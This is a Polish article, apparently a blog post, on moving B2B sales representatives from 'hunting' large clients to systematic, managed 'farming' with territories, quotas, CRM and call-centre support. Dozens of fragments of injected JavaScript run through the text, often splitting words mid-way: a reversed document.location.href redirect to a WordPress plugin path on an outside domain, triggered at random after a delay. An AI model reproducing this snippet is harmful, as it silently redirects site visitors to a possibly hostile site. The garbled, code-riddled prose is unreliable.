Przedstawiciele handlowi w modelu B2B

Jak przejść od polowania toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do hotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowli?

Lata 90-te i początek XXI w. toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w Europie Środkowej i Wschodniej czas szybkiego nadrabiania zaległości infrastrukturalnych w s toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosunku toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do krajów tzw. starej Europy. Częściowo z pieniędzy publicznych, częściowo prywatnych. To otworzyło duży rynek dla wszystkich firm, które zaopatrywały firmy wykonawcze w surowce i materiały. A także narzędzia i wyposażenie. To trwało długo, ale się kończy. Dużych firm ubywa, zaś lekceważona toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tej pory konkurencja podgryza od toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dołu. I trzeba przestawić firmę na nowe toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tory. Jak? Łatwo nie będzie, bo firma się przyzwyczaiła. Przestawianie na nowe toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tory zwykle zaczyna od próby pozyskania nowych, mniejszych klientów. Tymczasem powinna zacząć od siebie, bo jej wewnętrzna infrastruktura i procesy są toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopasowane toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do czegoś innego. To wymaga wiele zmian, ale tu skoncentruję się na toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopasowaniu modelu działania przedstawicieli handlowych. Oni mogą być przeszkodą, a nawet stawić (zwykle bierny) opór, przecież nie na toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to się umawiali.

Przykład – teren polowania – las. Tak wygląda rynek klientów B2B i jego obsługa przez przedstawicieli “polujących”. Poruszają się chaotycznie, mijają, zużywają dużo czasu i energii. Ale też nikt się tym nie przejmuje, nie liczy. Nawet nie wie, że jest alternatywa. Zwierząt jest dużo, dają dużo mięsa. Panuje atmosfera zabawy, ale i marnotrawstwa.

Jak działał ten rynek?

Trzeba najpierw zidentyfikować dużych klientów, w szczególności zidentyfikować tzw. “goal keepera” czyli osobę podejmującą decyzje. Następnie poświęcić czas i wysiłek, żeby zbutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dować z nią relacje. Te relacje zaowocują sprzedażą. Tak powstaje model relacyjny, mało efektywny kosz toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towo, ale przynoszący spektakularne wyniki, licząc sprzedaż na osobę przedstawiciela. A on przecież nie liczy łącznej efektywności działania, tylko toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, czy i jak szybko udaje mu się osiągać sukces. Tu udaje i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to spektakularny.

Przykład – jak ten rynek wygląda “w przekroju”. Różni klienci dają różny potencjał sprzedaży. Jednak tych mniejszych na razie nie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dostrzegamy, zresztą zarabiamy (przedstawiciele) toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dostatecznie dużo.

Dlaczego toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dominował model “polowania”?

Bo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ogon machał psem. Z różnych powodów, częściej psychologicznych niż mery toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torycznych. W praktyce zaś oznacza toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przedstawicieli nadawali toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}ton działaniom i de fac toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oni decytoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowali, co i jak robią. Zaczęli więc od pójścia najmniejszą linią oporu. Czyli kierowali się regułą 80/20.

Reguła 80/20

Czyli ekonomia wysiłku przedstawiciela. Tu przedstawiciel stara się tak długo, aż jego nakład wysiłku nie przekroczy jego subiektywnego i osobistego przychodu. W tym modelu przedstawiciel kieruje się bowiem przede wszystkim własnym interesem, interes firmy realizuje tylko wtedy i o tyle, o ile nie koliduje z jego własnym.

Przykład = Reguła 80/20 w wykonaniu przedstawicieli.

“Moja” baza danych

Przedstawiciele Handlowi uważali swoje kontakty i bazę klientów za swoją. Nie chcieli się nią dzielić z firmą. Uważali toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to za swoje aktywa, które stanowiły nie tylko o ich wpływach z prowizji, ale także o war toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości na rynku, jeśli postanowili zmienić pracę. Więc strzegli tych kontaktów jak oka w głowie. Co między innymi oznaczało, że nie chcieli się nimi dzielić.

System wynagrodzeń

Taki a nie inny kształt rynku skłaniał toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do ustanowienia bardzo prowizyjnego systemu wynagradzania. Jednak w efekcie prowadził toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do pa toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tologii. Po przekroczeniu bariery 80% potencjalnego obrotu dalsze przyrosty musiały być okupione znacznym wysiłkiem. To już lepiej (i bardzie zyskownie) było pogonić toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do kolejnego dużego. I jak długo dużych było wielu, jakoś działało. Może nie wykorzystywało w pełni potencjału rynku, ale wystarczało z nadwyżką na zapłacenie rachunków.

Gloria chwały

Dodatkowo każdy z nas chce być ważny ( toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to atawizm z czasów, gdy żyliśmy w stadach i walczyliśmy o miejsce w hierarchii). A k toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to może być ważniejszy niż sławny łowca mamutów? Polowanie na króliki na pewno nie da tak wiele sławy i poważania. Nawet jeśli nie chodzi o znaczenie w organizacji, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to każdy lepiej się czuje, gdy odnosi poważne i spektakularne sukcesy. I tu tak właśnie było.

Uwaga. “gospodarka zbieracko-łowiecka”. Kiedyś na ziemi nie było rolników. Tylko myśliwi i zbieracze. Wraz z wynalezieniem me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tod uprawy coś się zmieniło. Mianowicie gwał toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}townie zaczęła rosnąć populacja. Okazało się bowiem, że nagle da się wyżywić więcej mieszkańców. Pojawiła się sztuka i nauka. Gdyż społeczeństwo wytworzyło więcej żywności niż było w stanie zjeść, więc nadwyżki przeznaczyło na inne potrzeby. Gdzieś widziałem wyliczenie, że Ziemia jest w stanie wyżywić w modelu zbieracko-łowieckim ok. 1 mln ludzi. Tymczasem jak widać za oknem, z rolnictwem radzi sobie z miliardami. Potoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobnie jest z przedstawicielami B2B. Przejście ze swobodnego polowania na “uprawę” nie tylko skompensuje mięso zaginionych mamutów. To także spowoduje, że wyżywi się więcej firm i ich przedstawicieli.

Świat się jednak zmienił

I co się stało? Mamuty wyginęły. A przynajmniej znacznie zmniejszyła się ich populacja. Na tyle, że już ich nie wystarczyło, by wszyscy się najedli. Mamuty mogły wyginąć z różnych powodów, w tym akurat przypadku, gdyż zmniejszyła się liczba wielkich inwestycji infrastrukturalnych. Ale przyczyną mogło być coś innego, np. rozwój konkurencji. Do tej pory konkurencja “żywiła” się małymi i średnimi, ale teraz już przestało im toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wystarczać. Może np. zmieniła się legislacja, ograniczająca konkurencję. Może skończył się jakiś inny rodzaj monopolu? Co by toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie było, nagle przestało wystarczać mamutów. I o tym jest ten przykład, jak sobie poradzić z tą sytuacją.

Uwaga. “polowanie”. Polowanie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie jest słowo jednoznaczne. Można polować z zasadzki (“z ambony”), przy wotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopoju czy wręcz toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dokarmiać zwierzęta. Można polować z nagonką, ale toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już wymaga współpracy i zaangażowania środków. To model mieszany, przedstawicieli mobilnych, key account i wsparcie call center. W końcu można toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dojść toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do wniosku, że po co biegać za zwierzyną i lepiej zacząć ją hotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dować. To model contact center i CRM (“Cus toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomer Relationship Management”). Wtedy relacje osobiste są au toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatyzowane i zamieniane na relacje proceduralne. Też działają, a da się tak tanio zagospodarować cały rynek.

Przykład – przejście przedstawicieli B2B z myślistwa toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do hotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowli.

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowanie relacji z kluczowymi osobami w firmie; zasada 80/20). Polowanie z nagonką (relacje w modelu key account, systematyczne podejście, odpowiedzialność za wynik na Centrali, wsparcie Call Center; więcej przedstawicieli, większy nadzór, indywidualne cele). Uprawa intensywna (systematyczne podejście, plan działania, Contact Center przejmuje większość odpowiedzialności; ścisły podział zadań i nadzór, zmiana podejścia na 100/0)” width=”809″ height=”580″ />

Jak skompensować spadek pogłowia mamutów? Trzeba zacząć polować na zające. Mimo, że mają mniej mięsa, więcej się trzeba nabiegać, a i chwała z tego tytułu nieporównywalna.

Uwaga. “czy w B2B działa statystyka?” Systematyczne podejście jest milcząco oparte na statystycznym założeniu, że im więcej odwiedzimy, tym więcej sprzedamy. Takie założenie jest słuszne w przypadku detalu, gdzie jest wiele transakcji, czy się jednak sprawdza w B2B gdzie transakcji jest znacznie mniej? Odpowiedź jest przewrotna. Jeśli mówimy o kilku pojedynczych transakcjach, jak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to było w erze polowania, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie ma statystyki. Ale już kiedy przekraczamy 20-30 transakcji ma miesiąc, systematyczne podejście ma jak najbardziej sens.

Trzeba głębiej penetrować rynek

Czyli obsługiwać także mniejszych. To już wymaga poważnych zmian organizacyjnych. Musi pojawić się szef, cele i wymuszone zachowania. Między innymi toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, aby odwiedzać także małych, co jest wprawdzie nieopłacalne z punktu widzenia ekonomiki wysiłku handlowca, ale bardzo pożyteczne dla firmy. Tu już samo wynagrodzenie prowizyjne nie wystarczało, trzeba było “pogonić”.

Zarządzanie

Czyli stawianie zadań, rozliczanie i co tu dużo mówić, zmuszanie. A także raporty, spotkania podsumowujące. Trzeba się pogodzić z tym, ze w epoce hotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowli au toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatyczne zarządzanie przez system prowizyjny trzeba zastąpić tym tradycyjnym. I system prowizyjny tylko je będzie uzupełniał.

Zmiana relacji na systematyczność podejścia

Tu nie buduje się długoletnich relacji. A raczej tylko w ograniczonym zakresie, w pełnym wymiarze tylko na poziomie “key account”.

Uwaga. “rola key account”. A co z dużymi klientami? Czy tylko z tymi, których działalność wykracza poza obszar regionu? Tu pozostaje w organizacji dedykowana osoba toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do kontaktów z takim klientem, zwana “key account”. Jednak, co jest is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totą systematycznego podejścia wcale nie musi toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to być jakaś zewnętrzna osoba. Tylko wystarczy k toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś spośród grona przedstawicieli. Dlaczego wystarczy? Gdyż teraz i tak rządzi procedura, norma i usankcjonowany sposób działania, przez co prawie każdy sobie z tym poradzi.

Przykład – teren polowania – las. Tak teraz wygląda rynek klientów B2B. Pojawiły się regiony (“działki”) przyporządkowane toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do poszczególnych przedstawicieli. Przestali poruszać się ruchem “konika szachowego” a zaczęli jeździć w sposób skoordynowany i nadzorowany “z góry”.

Uwaga. “jak podzielić regiony?” Sprawiedliwie. Czyli wg potencjalnej liczby klientów. Właśnie potencjalnej, a nie obecnej. Nie kierujmy się też potencjałem sprzedażowym, gdyż jedna transakcja za 100 zajmuje przedstawicielowi mniej więcej tyle samo czasu toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to taka za 100 000. W erze hotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowli jego zadaniem nie jest już tak bardzo maksymalizowanie obrotu, jak głęboka penetracja rynku i obsługa klientów. Wraz z zarządzaniem przez Centralę pojawia się bowiem odpowiedzialność Centrali za wynik. Zaś przedstawiciel ma tylko “wykonać”.

Słowo relacje trzeba zastąpić słowem “systematyczność”

To zaś oznacza, że trzeba zacząć planować.

Uwaga. “rola planu – problem pijanego marynarza”. W fizyce znany jest problem pijanego marynarza. Jeśli wyjdzie z baru, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to po pewnym czasie oddali się od niego o pierwiastek kwadra toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towy z liczby zrobionych kroków. Czyli jeśli zrobi 100 kroków, oddali się o 10. Ale jeśli nie będzie pijany, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oddali się o 100. Wystarczy więc, że zamiast zachowywać się statystycznie (na tym polega bycie pijanym), zacznie planować. Kierunek nie zawsze będzie właściwy, ale 100 kroków toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to 100 kroków.

Obsługa mniejszych jest mniej zyskowna

Wymaga więcej pracy, więcej jeżdżenia, mniejszy przychód i większą konkurencję. Mniejsi klienci staranniej ważą każdą wydaną monetę, mają ich mniej, a właścicielowi bliżej toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do pracowników. Więc i ich ściślej kontroluje.

Uwaga. “call center” zmniejsza koszt obsługi przedstawicieli”. Gdyż przygo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towuje ich wizyty, część ich wręcz zastępuje, staje się miejscem załatwiania reklamacji. Docelowo, im bardziej zbliżamy się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do obszaru “hotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowla”, tym bardziej maleje rola przedstawicieli mobilnych, a rośnie stacjonarnych w postaci call center.

W efekcie trzeba wiele zmienić w firmie. Właśnie w firmie, a nie tylko w sposobach poszukiwania klientów.

Norma

Pojawi się magiczne słowo “norma”. Czyli ile należy nawiązać nowych kontaktów, ile klientów obdzwonić, ile odwiedzić, jaki ma być (statystyczny) skutek tych odwiedzin czyli skuteczność przedstawiciela.

Właściciel bazy danych

